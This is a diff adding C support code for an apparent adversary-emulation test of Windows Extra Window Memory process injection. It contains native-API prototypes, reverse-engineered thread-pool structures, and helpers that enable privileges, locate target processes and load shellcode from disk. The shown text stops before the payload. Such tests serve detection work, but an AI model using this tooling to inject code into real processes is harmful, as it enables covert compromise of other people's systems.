+ZwCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtClearEvent ( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwClearEvent ( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtPulseEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwPulseEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtResetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwResetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInfoClass, + OUT PVOID EventInfo, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInfoClass, + OUT PVOID EventInfo, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Security descriptor functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Revision + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN BOOLEAN DaclPresent, + IN PACL Dacl OPTIONAL, + IN BOOLEAN DaclDefaulted OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PSID Owner OPTIONAL, + IN BOOLEAN OwnerDefaulted OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + + +NTSYSAPI +ULONG +NTAPI +RtlLengthSid ( + IN PSID Sid + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid ( + IN PSID Sid1, + IN PSID Sid2 + ); + + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + IN PSID Sid + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAcl( + IN PACL Acl, + IN ULONG AclLength, + IN ULONG AclRevision + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ACCESS_MASK AccessMask, + IN PSID Sid + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ULONG AccessMask, + IN PSID Sid + ); + +//----------------------------------------------------------------------------- +// Token functions + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationToken( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationToken( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN PTOKEN_PRIVILEGES NewState OPTIONAL, + IN ULONG BufferLength OPTIONAL, + IN PTOKEN_PRIVILEGES PreviousState OPTIONAL, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN IdenticalTokens + ); + + +//----------------------------------------------------------------------------- +// Symbolic links + +// +// Object Manager Symbolic Link Specific Access Rights. +// + +#ifndef SYMBOLIC_LINK_QUERY +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) +#endif + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + OUT PHANDLE SymbolicLinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + IN HANDLE SymbolicLinkHandle, + OUT PUNICODE_STRING NameString, + OUT PULONG ResultLength OPTIONAL + ); + +//----------------------------------------------------------------------------- +// Loader functions + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + IN PWSTR DllPath OPTIONAL, + IN PULONG DllCharacteristics OPTIONAL, + IN PUNICODE_STRING DllName, + OUT PVOID * DllHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + IN PVOID DllHandle, + IN PANSI_STRING ProcedureName OPTIONAL, + IN ULONG ProcedureNumber OPTIONAL, + OUT PVOID *ProcedureAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + IN PWSTR DllPath OPTIONAL, + IN PULONG DllCharacteristics OPTIONAL, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindEntryForAddress( + IN PVOID Address, + OUT PLDR_DATA_TABLE_ENTRY *Module + ); + +NTSYSAPI +VOID +NTAPI + RtlGetCallersAddress( + OUT PVOID *CallersAddress, + OUT PVOID *CallersCaller + ); + +//----------------------------------------------------------------------------- +// Functions dealing with NTSTATUS and Win32 error + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + NTSTATUS Status + ); + + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + NTSTATUS Status + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + ); + + +NTSYSAPI +ULONG +NTAPI +RtlGetLastWin32Error( + ); + + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + ULONG WinError + ); + + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + + +//----------------------------------------------------------------------------- +// I/O functions + + +NTSYSAPI +NTSTATUS +NTAPI +NtDisplayString( + IN PUNICODE_STRING String + ); + + +#ifdef __cplusplus +} // extern "C" +#endif + +#endif // __NTDLL_H__ \ No newline at end of file diff --git a/atomics/T1055.011/src/ntlib/nttpp.h b/atomics/T1055.011/src/ntlib/nttpp.h new file mode 100644 index 0000000000..9294b586b5 --- /dev/null +++ b/atomics/T1055.011/src/ntlib/nttpp.h @@ -0,0 +1,187 @@ +/** + Copyright © 2019 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +/** + These structures were reverse engineered and are not an accurate representation + of thread pool structures. They are based on analyzing private API in NTDLL.dll + + Use with caution. - odzhan + Last updated: March 2019 +*/ + +// Original: https://github.com/odzhan/injection + +#ifndef TPP_H +#define TPP_H + +#include "ntddk.h" + +typedef struct _TP_ALPC *PTP_ALPC; + +typedef void (WINAPI *PTP_ALPC_CALLBACK)(PTP_CALLBACK_INSTANCE Instance, + LPVOID Context, PTP_ALPC TpAlpc, LPVOID Reserved); + +typedef struct _TP_SIMPLE_CALLBACK { + PVOID Function; + PVOID Context; +} TP_SIMPLE_CALLBACK; + +typedef struct _TP_CLEANUP_GROUP { + ULONG Version; + SRWLOCK Lock; + LIST_ENTRY GroupList1; + PTP_SIMPLE_CALLBACK FinalizationCallback; + LIST_ENTRY GroupList2; + ULONG64 Unknown1; + LIST_ENTRY GroupList3; +} TP_CLEANUP_GROUP, *PTP_CLEANUP_GROUP; + +typedef struct _TP_CALLBACK_OBJECT { + ULONG RefCount; + PVOID CleanupGroupMember; + PTP_CLEANUP_GROUP CleanupGroup; + PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback; + PTP_SIMPLE_CALLBACK FinalizationCallback; + LIST_ENTRY WorkList; + ULONG64 Barrier; + ULONG64 Unknown1; + SRWLOCK SharedLock; + TP_SIMPLE_CALLBACK Callback; + PACTIVATION_CONTEXT ActivationContext; + ULONG64 SubProcessTag; + GUID ActivityId; + BOOL WorkingOnBehalfTicket; + PVOID RaceDll; + PTP_POOL Pool; + LIST_ENTRY GroupList; + ULONG Flags; + TP_SIMPLE_CALLBACK CallerAddress; + TP_CALLBACK_PRIORITY CallbackPriority; +} TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT; + +typedef struct _TP_POOL { + ULONG64 RefCount; + ULONG64 Version; + LIST_ENTRY NumaRelatedList; + LIST_ENTRY PoolList; + PVOID NodeList; + + HANDLE WorkerFactory; + HANDLE IoCompletion; + SRWLOCK PoolLock; + LIST_ENTRY UnknownList1; + LIST_ENTRY UnknownList2; + +} TP_POOL, *PTP_POOL; + +typedef struct _TP_WORK { + TP_CALLBACK_OBJECT CallbackObject; + PVOID TaskId; + ULONG64 Unknown[4]; +} TP_WORK, *PTP_WORK; + +typedef struct _TP_TIMER { + TP_CALLBACK_OBJECT CallBackObject; + PVOID TaskId; + ULONG64 Unknown1; + LIST_ENTRY UnknownList1; + ULONG Unknown2; + SRWLOCK TimerLock; + LIST_ENTRY UnknownList2; + LIST_ENTRY UnknownList3; + ULONG64 TimerDueTime; + LIST_ENTRY UnknownList4; + LIST_ENTRY UnknownList5; + LIST_ENTRY UnknownList6; + ULONG64 Unknown3; + ULONG WindowLength; + ULONG TimePeriod; + BOOLEAN bFlag1; + BOOLEAN bFlag2; + BOOLEAN bFlag3; + BOOLEAN bFlag4; + BOOLEAN bFlag5; + BOOLEAN bFlag6; + BOOLEAN bFlag7; + BOOLEAN bFlag8; +} TP_TIMER, *PTP_TIMER; + +typedef struct _TP_ALPC { + PVOID TaskId; + ULONG NumaRelated1[2]; + LIST_ENTRY CleanupGroupList; + PTP_SIMPLE_CALLBACK FinalizationCallback; + LIST_ENTRY AlpcList; + PVOID ExecuteCallback; + ULONG NumaRelated2[2]; + TP_CALLBACK_OBJECT CallbackObject; + HANDLE Port; + HANDLE Semaphore; + ULONG NumaRelated; + ULONG Flag; +} TP_ALPC, *PTP_ALPC; + +typedef struct _TP_CALLBACK_INSTANCE { + ULONG64 Unknown1[10]; + ULONG64 SubProcessTag; + TP_SIMPLE_CALLBACK Callback; + ULONG64 Unknown2[4]; + PVOID TpWork; // PTP_ALPC for print spooler + ULONG64 Unknown3[3]; + HMODULE Dll; + PTP_TIMER Timer; + PTP_CALLBACK_OBJECT CallbackObject; +} TP_CALLBACK_INSTANCE, *PTP_CALLBACK_INSTANCE; + +typedef struct _TP_WORKER_LIST { + LIST_ENTRY TppWorkerpList; + LIST_ENTRY TppPoolList; + ULONG64 Unknown1; + ULONG64 ThreadId; + PTP_POOL Pool; + BYTE Unknown[248]; +} TP_WORKER_LIST, *PTP_WORKER_LIST; + +typedef struct _TP_POOL_CALLBACK { + TP_SIMPLE_CALLBACK Callback; + ULONG64 SubProcessTag; + ULONG64 TimeRelated; +} TP_POOL_CALLBACK, *PTP_POOL_CALLBACK; + +typedef struct _TP_POOL_DATA { + PTP_WORKER_LIST Workers; + ULONG PoolStatus; + ULONG RefCount; + ULONG64 CallbackCount; + ULONG64 TimeRelated; + TP_POOL_CALLBACK CallbackArray[2]; + ULONG64 Reserved[5]; +} TP_POOL_DATA, *PTP_POOL_DATA; + +#endif \ No newline at end of file diff --git a/atomics/T1055.011/src/ntlib/util.h b/atomics/T1055.011/src/ntlib/util.h new file mode 100644 index 0000000000..c4c7b7392e --- /dev/null +++ b/atomics/T1055.011/src/ntlib/util.h @@ -0,0 +1,476 @@ +/** + Copyright © 2019 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +// Original: https://github.com/odzhan/injection +// modifications made by @socketz for T1055.011 (EWM) technique + +#ifndef UTIL_H +#define UTIL_H + +#pragma warning(disable : 4005) +#pragma warning(disable : 4311) +#pragma warning(disable : 4312) + +#define UNICODE +#define _WIN32_DCOM + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + + +#include "./nttpp.h" + +#pragma comment(lib, "wbemuuid.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "oleAut32.lib") +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "dbghelp.lib") +#pragma comment(lib, "winspool.lib") +#pragma comment(lib, "dbghelp.lib") +#pragma comment(lib, "user32.lib") +#pragma comment(lib, "shlwapi.lib") +#pragma comment(lib, "kernel32.lib") +#pragma comment(lib, "shell32.lib") +#pragma comment(lib, "OneCore.lib") + +// Relative Virtual Address to Virtual Address +#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) + +// allocate memory +LPVOID xmalloc (SIZE_T dwSize) { + return HeapAlloc (GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize); +} + +// re-allocate memory +LPVOID xrealloc (LPVOID lpMem, SIZE_T dwSize) { + return HeapReAlloc (GetProcessHeap(), HEAP_ZERO_MEMORY, lpMem, dwSize); +} + +// free memory +void xfree (LPVOID lpMem) { + HeapFree (GetProcessHeap(), 0, lpMem); +} + +#if !defined (__GNUC__) +/** + * + * Returns TRUE if process token is elevated + * + */ +BOOL IsElevated(VOID) { + HANDLE hToken; + BOOL bResult = FALSE; + TOKEN_ELEVATION te; + DWORD dwSize; + + if (OpenProcessToken (GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + if (GetTokenInformation (hToken, TokenElevation, &te, + sizeof(TOKEN_ELEVATION), &dwSize)) { + bResult = te.TokenIsElevated; + } + CloseHandle(hToken); + } + return bResult; +} +#endif + +// display error message for last error code +VOID xstrerror (PCHAR fmt, ...){ + PCHAR error=NULL; + va_list arglist; + WCHAR buffer[1024]; + DWORD dwError=GetLastError(); + + va_start(arglist, fmt); + _vsnwprintf(buffer, ARRAYSIZE(buffer), fmt, arglist); + va_end (arglist); + + if (FormatMessage ( + FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, + NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPWSTR)&error, 0, NULL)) + { + wprintf(L" [ %s : %s\n", buffer, error); + LocalFree (error); + } else { + wprintf(L" [ %s error : %08lX\n", buffer, dwError); + } +} + +// enable or disable a privilege in current process token +BOOL SetPrivilege(PCHAR szPrivilege, BOOL bEnable){ + HANDLE hToken; + BOOL bResult; + LUID luid; + TOKEN_PRIVILEGES tp; + + // open token for current process + bResult = OpenProcessToken(GetCurrentProcess(), + TOKEN_ADJUST_PRIVILEGES, &hToken); + + if(!bResult)return FALSE; + + // lookup privilege + bResult = LookupPrivilegeValueW(NULL, szPrivilege, &luid); + + if (bResult) { + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = bEnable?SE_PRIVILEGE_ENABLED:SE_PRIVILEGE_REMOVED; + + // adjust token + AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); + bResult = GetLastError() == ERROR_SUCCESS; + } + CloseHandle(hToken); + return bResult; +} + +DWORD name2pid(LPWSTR ImageName) { + HANDLE hSnap; + PROCESSENTRY32 pe32; + DWORD dwPid=0; + + // create snapshot of system + hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hSnap == INVALID_HANDLE_VALUE) return 0; + + pe32.dwSize = sizeof(PROCESSENTRY32); + + // get first process + if(Process32First(hSnap, &pe32)){ + do { + if (lstrcmpi(ImageName, pe32.szExeFile)==0) { + dwPid = pe32.th32ProcessID; + break; + } + } while(Process32Next(hSnap, &pe32)); + } + CloseHandle(hSnap); + return dwPid; +} + +PCHAR pid2name(DWORD pid) { + HANDLE hSnap; + BOOL bResult; + PROCESSENTRY32 pe32; + PCHAR name=L"N/A"; + + hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (hSnap != INVALID_HANDLE_VALUE) { + pe32.dwSize = sizeof(PROCESSENTRY32); + + bResult = Process32First(hSnap, &pe32); + while (bResult) { + if (pe32.th32ProcessID == pid) { + name = pe32.szExeFile; + break; + } + bResult = Process32Next(hSnap, &pe32); + } + CloseHandle(hSnap); + } + return name; +} + +LPVOID GetRemoteModuleHandle(DWORD pid, LPCWSTR lpModuleName) { + HANDLE ss; + MODULEENTRY32 me; + LPVOID ba = NULL; + + ss = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); + + if(ss == INVALID_HANDLE_VALUE) return NULL; + + me.dwSize = sizeof(MODULEENTRY32); + + if(Module32First(ss, &me)) { + do { + if(me.th32ProcessID == pid) { + if(lstrcmpi(me.szModule, lpModuleName)==0) { + ba = me.modBaseAddr; + break; + } + } + } while(Module32Next(ss, &me)); + } + CloseHandle(ss); + return ba; +} + +PCHAR addr2sym(HANDLE hp, LPVOID addr) { + WCHAR path[MAX_PATH]; + BYTE buf[sizeof(SYMBOL_INFO)+MAX_SYM_NAME*sizeof(WCHAR)]; + PSYMBOL_INFO si=(PSYMBOL_INFO)buf; + static WCHAR name[MAX_PATH]; + + ZeroMemory(path, ARRAYSIZE(path)); + ZeroMemory(name, ARRAYSIZE(name)); + + GetMappedFileName( + hp, addr, path, MAX_PATH); + + PathStripPath(path); + + si->SizeOfStruct = sizeof(SYMBOL_INFO); + si->MaxNameLen = MAX_SYM_NAME; + + if(SymFromAddr(hp, (DWORD64)addr, NULL, si)) { + wsprintf(name, L"%s!%hs", path, si->Name); + } else { + lstrcpy(name, path); + } + return name; +} + +PCHAR wnd2proc(HWND hw) { + PCHAR name=L"N/A"; + DWORD pid; + HANDLE ss; + BOOL bResult; + PROCESSENTRY32 pe; + + GetWindowThreadProcessId(hw, &pid); + + ss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if(ss != INVALID_HANDLE_VALUE) { + pe.dwSize = sizeof(PROCESSENTRY32); + + bResult = Process32First(ss, &pe); + while (bResult) { + if (pe.th32ProcessID == pid) { + name = pe.szExeFile; + break; + } + bResult = Process32Next(ss, &pe); + } + CloseHandle(ss); + } + return name; +} + +void ShowProcessIntegrityLevel(DWORD pid) +{ + HANDLE hToken; + HANDLE hProcess; + + DWORD dwLengthNeeded; + DWORD dwError = ERROR_SUCCESS; + + PTOKEN_MANDATORY_LABEL pTIL = NULL; + LPWSTR pStringSid; + DWORD dwIntegrityLevel; + + hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); + if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) + { + // Get the Integrity level. + if (!GetTokenInformation(hToken, TokenIntegrityLevel, + NULL, 0, &dwLengthNeeded)) + { + dwError = GetLastError(); + if (dwError == ERROR_INSUFFICIENT_BUFFER) + { + pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, + dwLengthNeeded); + if (pTIL != NULL) + { + if (GetTokenInformation(hToken, TokenIntegrityLevel, + pTIL, dwLengthNeeded, &dwLengthNeeded)) + { + dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, + (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid)-1)); + + if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) + { + // Low Integrity + wprintf(L"Low"); + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && + dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) + { + // Medium Integrity + wprintf(L"Medium"); + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) + { + // High Integrity + wprintf(L"High Integrity"); + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) + { + // System Integrity + wprintf(L"System Integrity"); + } + } + LocalFree(pTIL); + } + } + } + CloseHandle(hToken); + } + CloseHandle(hProcess); + putchar('\n'); +} + +/** + read a shellcode from disk into memory +*/ +DWORD readpic(PCHAR path, LPVOID *pic){ + HANDLE hf; + DWORD len, rd=0; + + // 1. open the file + hf = CreateFile(path, GENERIC_READ, 0, 0, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if(hf != INVALID_HANDLE_VALUE){ + // get file size + len = GetFileSize(hf, 0); + // allocate memory + *pic = malloc(len + 16); + // read file contents into memory + ReadFile(hf, *pic, len, &rd, 0); + CloseHandle(hf); + } + return rd; +} + +// returns TRUE if ptr is heap +BOOL IsHeapPtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT ) && + (mbi.Type == MEM_PRIVATE ) && + (mbi.Protect == PAGE_READWRITE)); +} + +// returns TRUE if ptr is .data +BOOL IsDataPtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT ) && + (mbi.Type == MEM_IMAGE ) && + (mbi.Protect == PAGE_READWRITE)); +} + +// returns TRUE if ptr is RX code +BOOL IsCodePtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT ) && + (mbi.Type == MEM_IMAGE ) && + (mbi.Protect == PAGE_EXECUTE_READ)); +} + +BOOL IsCodePtrEx(HANDLE hp, LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQueryEx(hp, ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT ) && + (mbi.Type == MEM_IMAGE ) && + (mbi.Protect == PAGE_EXECUTE_READ)); +} + +BOOL IsMapPtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT) && + (mbi.Type == MEM_MAPPED)); +} + +BOOL IsReadWritePtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return (mbi.Protect == PAGE_READWRITE); +} + +#endif \ No newline at end of file diff --git a/atomics/T1055.011/src/ntlib/x64/ntdll.lib b/atomics/T1055.011/src/ntlib/x64/ntdll.lib new file mode 100644 index 0000000000..48b01b5d03 Binary files /dev/null and b/atomics/T1055.011/src/ntlib/x64/ntdll.lib differ diff --git a/atomics/T1055.011/src/ntlib/x86/ntdll.lib b/atomics/T1055.011/src/ntlib/x86/ntdll.lib new file mode 100644 index 0000000000..d88ee224db Binary files /dev/null and b/atomics/T1055.011/src/ntlib/x86/ntdll.lib differ diff --git a/atomics/T1055.011/src/payload.c b/atomics/T1055.011/src/payload.c new file mode 100644 index 0000000000..88585678ee --- /dev/null +++ b/atomics/T1055.011/src/payload.c @@ -0,0 +1,168 @@ +/** + Copyright © 2018 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +// Original: https://github.com/odzhan/injection +#include 